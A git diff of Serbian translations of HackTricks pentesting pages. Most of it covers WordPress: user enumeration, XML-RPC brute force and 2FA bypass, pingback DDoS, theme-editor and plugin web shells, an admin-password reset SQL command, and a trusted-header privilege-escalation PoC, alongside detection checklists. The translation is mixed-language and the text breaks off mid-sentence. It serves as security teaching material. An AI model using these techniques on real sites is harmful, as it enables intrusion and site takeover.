Endpoints List**: Kurirana lista potencijalnih API krajnjih tačaka za testiranje ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Neophodno štivo za razumevanje uobičajenih ranjivosti API-ja ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: Sveobuhvatna kontrolna lista za osiguravanje API-ja ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Za otkrivanje ranjivosti API-ja, Logger++ nudi korisne filtere ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Kurirana lista potencijalnih API endpoints za potrebe testiranja ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Reference - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 3dfa8d99f..4f0d182df 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Osnovne informacije -- **Otpremljeni fajlovi se nalaze na:** `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Fajlovi tema se nalaze u /wp-content/themes/,** tako da ako promenite neki php iz teme da dobijete RCE verovatno ćete koristiti taj put. Na primer: Koristeći **theme twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** pa ako izmenite neki php teme da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći **theme twentytwelve** možete **access** fajl **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- U **wp-config.php** možete pronaći root lozinku baze podataka. -- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- U **wp-config.php** možete naći root lozinku baze podataka. +- Podrazumevani login putevi za proveru: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Glavni WordPress fajlovi** - `index.php` -- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana. -- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta. -- Folderi za login (mogu biti preimenovani da bi se sakrili): - - `/wp-admin/login.php` - - `/wp-admin/wp-login.php` - - `/login.php` - - `/wp-login.php` -- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovaj način komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Folder `wp-content` je glavni direktorijum gde su smešteni dodaci i teme. -- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu. -- `wp-includes/` je direktorijum gde su smešteni core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti. -- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama. +- `license.txt` sadrži korisne informacije kao što je verzija WordPress koja je instalirana. +- `wp-activate.php` se koristi za email aktivacioni proces prilikom podešavanja novog WordPress sajta. +- Login folderi (mogu biti preimenovani da bi se sakrili): +- `/wp-admin/login.php` +- `/wp-admin/wp-login.php` +- `/login.php` +- `/wp-login.php` +- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao encoding mehanizam. Ova vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Folder `wp-content` je glavni direktorijum gde se čuvaju plugins i themes. +- `wp-content/uploads/` je direktorijum gde se čuvaju fajlovi otpremljeni na platformu. +- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su certificates, fonts, JavaScript fajlovi i widgets. +- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post tipovima i taksonomijama. **Post exploitation** -- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, database host, korisničko ime i lozinka, authentication keys i salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema. +- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za konekciju sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys i salts, i prefix tabela baze. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema. ### Dozvole korisnika - **Administrator** -- **Editor**: Objavljuje i upravlja sopstvenim i tuđim postovima +- **Editor**: Objavljuje i upravlja svojim i tuđim postovima - **Author**: Objavljuje i upravlja sopstvenim postovima -- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi +- **Contributor**: Piše i upravlja svojim postovima ali ne može da ih objavi - **Subscriber**: Pregleda postove i uređuje svoj profil ## **Pasivna enumeracija** -### **Dobijanje WordPress verzije** +### **Dobijanje verzije WordPress-a** Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html` -U izvornom kodu stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +U **izvornom kodu** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Izvlačenje verzija uopšteno +### Izdvajanje verzija uopšteno ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,15 +81,15 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Dodaci i teme -Verovatno nećete moći da pronađete sve dostupne dodatke i teme. Da biste otkrili sve, moraćete da **aktivno Brute Force listu dodataka i tema** (nadamo se da postoje automatizovani alati koji sadrže te liste). +Verovatno nećete moći da pronađete sve plugine i teme koje su moguće. Da biste otkrili sve, moraćete da **aktivno Brute Force-ujete listu plugina i tema** (nadamo se da postoje automatizovani alati koji sadrže te liste). ### Korisnici -- **ID Brute:** Dobijate važeće korisnike sa WordPress sajta putem Brute Forcing-a korisničkih ID-jeva: +- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**. +Ako su odgovori **200** ili **30X**, to znači da je id **važeći**. Ako je odgovor **400**, id je **nevažeći**. - **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom: ```bash @@ -99,19 +99,19 @@ Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicim ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Imajte na umu da ovaj endpoint izlaže samo korisnike koji su objavili post. **Biće dostupne samo informacije o korisnicima koji imaju omogućenu ovu funkciju**. +Imajte na umu da ovaj endpoint izlaže samo korisnike koji su kreirali post. **Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu**. -Takođe imajte na umu da **/wp-json/wp/v2/pages** could leak IP addresses. +Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak IP adrese. -- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`** **poruka** je **različita** u zavisnosti od toga da li navedeno **korisničko ime postoji ili ne**. +- **Login username enumeration**: Kada se logujete na **`/wp-login.php`**, **poruka** se **razlikuje** i ukazuje da li **korisničko ime postoji ili ne**. ### XML-RPC -If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Možete automatizovati ovaj proces[ using this](https://github.com/relarizky/wpxploit) na primer). +Ako je `xml-rpc.php` aktivan, možete izvršiti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Ovaj proces možete automatizovati, na primer [using this](https://github.com/relarizky/wpxploit)). -To see if it is active try to access to _**/xmlrpc.php**_ and send this request: +Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljite ovaj zahtev: -**Proveri** +**Provera** ```html system.listMethods @@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Bruteforce kredencijala** +**Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force kredencijala. Ako možete pronaći bilo koju od njih, možete poslati nešto poput: +**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neki od metoda koji se mogu koristiti za brute-force credentials. Ako pronađete bilo koji od njih, možete poslati nešto poput: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -Poruka _"Incorrect username or password"_ unutar odgovora sa status kodom 200 treba da se pojavi ako kredencijali nisu validni. +Poruka _"Incorrect username or password"_ u odgovoru sa kodom 200 treba да се појави ако credentials nisu validni. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Korišćenjem ispravnih kredencijala možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Koristeći ispravne credentials možete otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982) ```html @@ -168,18 +168,18 @@ Korišćenjem ispravnih kredencijala možete otpremiti fajl. U odgovoru će se p ``` -Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: +Takođe postoji **brži način** da izvršite brute-force nad credentials koristeći **`system.multicall`**, jer možete probati više credentials u istom zahtevu:
**Bypass 2FA** -Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate važeće podatke za prijavu, ali je glavni ulaz zaštićen 2FA, **možete zloupotrebiti xmlrpc.php da se prijavite tim podacima zaobilaženjem 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje su moguće kroz konzolu, ali i dalje možete uspeti da dođete do RCE kako Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate valid creds ali je glavni pristup zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds zaobilazeći 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali možda ćete ipak uspeti da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -Ovo se može iskoristiti da se **hiljade** Wordpress **sajtova** nalože da **pristupe** jednoj **lokaciji** (tako se na toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** da skenira neku internu **mrežu** (možete navesti bilo koji port). +Ako možete naći metodu _**pingback.ping**_ u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\ +Ovo se može iskoristiti da se zamoli **thousands** of Wordpress **sites** da **access** jednu **location** (tako se u toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** lo **scan** neki interni **network** (možete navesti bilo koji port). ```html pingback.ping @@ -191,9 +191,9 @@ Ovo se može iskoristiti da se **hiljade** Wordpress **sajtova** nalože da **pr ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren. +Ako dobijete **faultCode** sa vrednošću većom od **0** (17), to znači da je port otvoren. -Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu da biste izazvali DDoS. +Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu za DDoS. **DDoS** ```html @@ -210,14 +210,14 @@ Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučil ### wp-cron.php DoS Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\ -Kada se ovaj fajl **accessed** izvrši se "**heavy**" MySQL **query**, pa ga **attackers** mogu iskoristiti da izazovu **DoS**.\ -Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (kad god client zahteva bilo koju Wordpress stranicu), što na sajtovima sa visokim saobraćajem može praviti probleme (DoS). +Kada se ovaj fajl **pristupi**, izvršava se **"težak"** MySQL **upit**, pa ga **napadači** mogu iskoristiti da **izazovu** **DoS**.\ +Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS). -Preporučuje se isključiti Wp-Cron i napraviti pravi cronjob na hostu koji izvršava potrebne akcije u regularnim intervalima (bez izazivanja problema). +Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne akcije (bez izazivanja problema). ### /wp-json/oembed/1.0/proxy - SSRF -Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može napraviti zahtev prema vama. +Pokušajte pristupiti _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt može poslati zahtev prema vama. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ako postoje, pokušava da ih exploit-uje. +Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy** i, ako postoje, pokušava da ih iskoristi. ## Automatski alati ```bash @@ -240,26 +240,26 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Dobijanje pristupa prepisivanjem bita -Više kuriozitet nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si da prebaciš 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si da prebaciš bit na poziciji `5389` u datoteci `/var/www/html/wp-includes/user.php` tako što bi zamenio NOT (`!`) operaciju NOP-om. +Više radoznalost nego stvarni napad. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si preokrenuti 1 bit u bilo kojoj wordpress datoteci. Tako si mogao preokrenuti bit na poziciji `5389` fajla `/var/www/html/wp-includes/user.php` i pretvoriti NOT (`!`) u NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Izmena php fajla iz korišćene teme (admin credentials needed)** +**Modifying a php from the theme used (potrebni administratorski kredencijali)** -Appearance → Theme Editor → 404 Template (sa desne strane) +Izgled → Uređivač teme → 404 Template (sa desne strane) -Promeni sadržaj u php shell: +Zamenite sadržaj php shell-om: ![](<../../images/image (384).png>) -Potraži na internetu kako možeš pristupiti toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Potražite na internetu kako da pristupite toj ažuriranoj stranici. U ovom slučaju treba da pristupite ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -Možeš koristiti: +Možete koristiti: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` @@ -269,12 +269,12 @@ da biste dobili sesiju. ### PHP plugin -It may be possible to upload .php files as a plugin.\ -Create your php backdoor using for example: +Može biti moguće otpremiti .php fajlove kao plugin.\ +Kreirajte svoj PHP backdoor koristeći na primer: ![](<../../images/image (183).png>) -Then add a new plugin: +Zatim dodajte novi plugin: ![](<../../images/image (722).png>) @@ -286,40 +286,40 @@ Kliknite na Procced: ![](<../../images/image (70).png>) -Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen: +Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete svoj shell koji je otpremljen: ![](<../../images/image (462).png>) -Pristupite tome i videćete URL za izvršavanje reverse shell: +Pristupite mu i videćete URL za izvršavanje reverse shell-a: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi kroz WordPress dashboard kako sledi: +Ovaj metod podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način: -1. **Plugin Acquisition**: Plugin se nabavlja sa izvora kao što je Exploit DB, na primer [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installation**: -- Idite u WordPress dashboard, zatim u `Dashboard > Plugins > Upload Plugin`. -- Otpremite zip fajl preuzetog plugina. -3. **Plugin Activation**: Kada je plugin uspešno instaliran, morate ga aktivirati preko dashboarda. +1. **Nabavka plugina**: Plugin se dobija iz izvora kao što je Exploit DB kao [**here**](https://www.exploit-db.com/exploits/36374). +2. **Instalacija plugina**: +- Idite na WordPress dashboard, zatim na `Dashboard > Plugins > Upload Plugin`. +- Otpremite zip fajl skinutog plugina. +3. **Plugin Activation**: Nakon što je plugin uspešno instaliran, mora biti aktiviran kroz dashboard. 4. **Exploitation**: -- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može se izvršiti eksploatacija jer je poznat kao ranjiv. -- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter session, što daje neovlašćen pristup sajtu. -- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta. +- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može biti iskorišćen jer je poznato da je ranjiv. +- Metasploit framework pruža an exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, što daje neautorizovan pristup sajtu. +- Napominje se da je ovo samo jedan od mnogih metoda za iskorišćavanje WordPress sajta. -Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboardu za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način nezakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing uz izričitu dozvolu. +Sadržaj uključuje vizuelne prikaze koraka u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da iskorišćavanje ranjivosti na ovaj način predstavlja protivpravnu i neetičku radnju bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom okviru, poput penetration testing-a sa izričitom dozvolom. -**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**Za detaljnije korake pogledajte:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPressu. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** -- _**Privilege Escalation:**_ Kreira korisnika u WordPressu. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:** +- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite svoj custom plugin (backdoor) u WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađeni plugin u WordPressu. -- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađenu temu u WordPressu. -- _**(Custom) Custom Exploits:**_ Custom Exploits za Third-Party WordPress Plugins/Themes. +- _**(RCE) Built-In Plugin Edit:**_ Izmenite Built-In plugine u WordPress-u. +- _**(RCE) Built-In Theme Edit:**_ Izmenite Built-In teme u WordPress-u. +- _**(Custom) Custom Exploits:**_ Custom exploits za third-party WordPress plugine/teme. ## Post Exploitation @@ -331,29 +331,29 @@ Promeni administratorsku lozinku: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Plugins Pentest +## Pentest Wordpress pluginova -### Attack Surface +### Površina napada -Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Razumevanje kako Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti na koji način plugin može izložiti funkcionalnost u sledećim tačkama i nekoliko primera ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlera. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji autentifikovani korisnik u Wordpress instanci može imati** (neovisno o njegovoj ulozi). +Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često je da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju WordPress nonce-a koji **bilo koji autentifikovani korisnik u WordPress instanci može imati** (bez obzira na ulogu). -Ovo su funkcije koje mogu biti upotrebljene za izlaganje funkcije u pluginu: +Ovo su funkcije koje se mogu koristiti da izlože funkciju u pluginu: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Korišćenje `nopriv` čini endpoint dostupnim bilo kojim korisnicima (čak i neautentifikovanim).** +**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).** > [!CAUTION] -> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, a obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama visokih privilegija. +> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik ulogovan, obično ne proverava ulogu korisnika. Zato korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama. - **REST API** -Moguće je takođe izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju `register_rest_route`: +Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -365,18 +365,18 @@ $this->namespace, '/get/', array( ``` The `permission_callback` je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu. -**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih permisija.** +**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.** -- **Direktan pristup PHP fajlu** +- **Direct access to the php file** -Naravno, WordPress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni preko web-a. Dakle, u slučaju da neki plugin izlaže ranjivu funkcionalnost koja se aktivira samim pristupom fajlu, ona može biti iskorišćena od strane bilo kog korisnika. +Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni preko weba. Dakle, ako plugin izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, to će biti iskoristivo od strane svakog korisnika. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Neki plugin-ovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave kontekst trenutnog korisnika za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može spoof-ovati i pozivati privilegovane REST rute kao administrator. +Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator. -- Impact: neautentifikovano eskaliranje privilegija do admin-a kreiranjem novog administratora preko core users REST rute. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (prisiljava user ID 1, obično prvi administratorski nalog). +- Impact: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). - Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC @@ -393,8 +393,8 @@ Content-Length: 114 ``` Zašto funkcioniše -- Plugin preslikava zaglavlje kontrolisano od strane klijenta u autentifikaciono stanje i preskače provere capability-a. -- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz zaglavlja. +- Plugin preslikava header koji kontroliše klijent na authentication state i preskače capability checks. +- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz header-a. Očekivani indikatori uspeha @@ -403,19 +403,19 @@ Očekivani indikatori uspeha Kontrolna lista za detekciju -- Pretražite (grep) za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDKs koji čitaju prilagođena zaglavlja da bi postavili kontekst korisnika (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Pregledajte REST registracije za privilegovane callback-e koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na zaglavlja zahteva. -- Potražite upotrebe core funkcija za upravljanje korisnicima (`wp_insert_user`, `wp_create_user`) u REST handler-ima koje su kontrolisane samo vrednostima zaglavlja. +- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDKs koji čitaju custom headers da bi postavili user context (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Pregled REST registracija za privilegovane callbacks koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na request headers. +- Traži upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handlera koje su ograničene samo vrednostima header-a. ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress teme i plugin-i često izlažu AJAX handlere putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_** **callback postaje dostupan neautentifikovanim posetiocima**, pa svaka osetljiva akcija mora dodatno implementirati: +WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **callback 